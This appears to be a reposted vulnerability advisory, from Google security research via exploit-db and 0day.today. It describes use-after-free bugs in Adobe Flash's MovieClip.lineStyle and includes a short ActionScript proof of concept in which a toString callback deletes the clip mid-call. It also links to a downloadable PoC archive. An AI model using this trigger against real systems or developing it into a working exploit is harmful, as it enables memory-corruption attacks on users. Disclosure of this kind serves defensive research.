Adobe Flash MovieClip.lineStyle - Use-After-Frees

Source: https://code.google.com/p/google-security-research/issues/detail?id=558
 
There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:
 
this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);
 
function func(){
     
    triangle_mc.removeMovieClip();
    return "none";
     
    }
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39021.zip

#  0day.today [2018-03-01]  #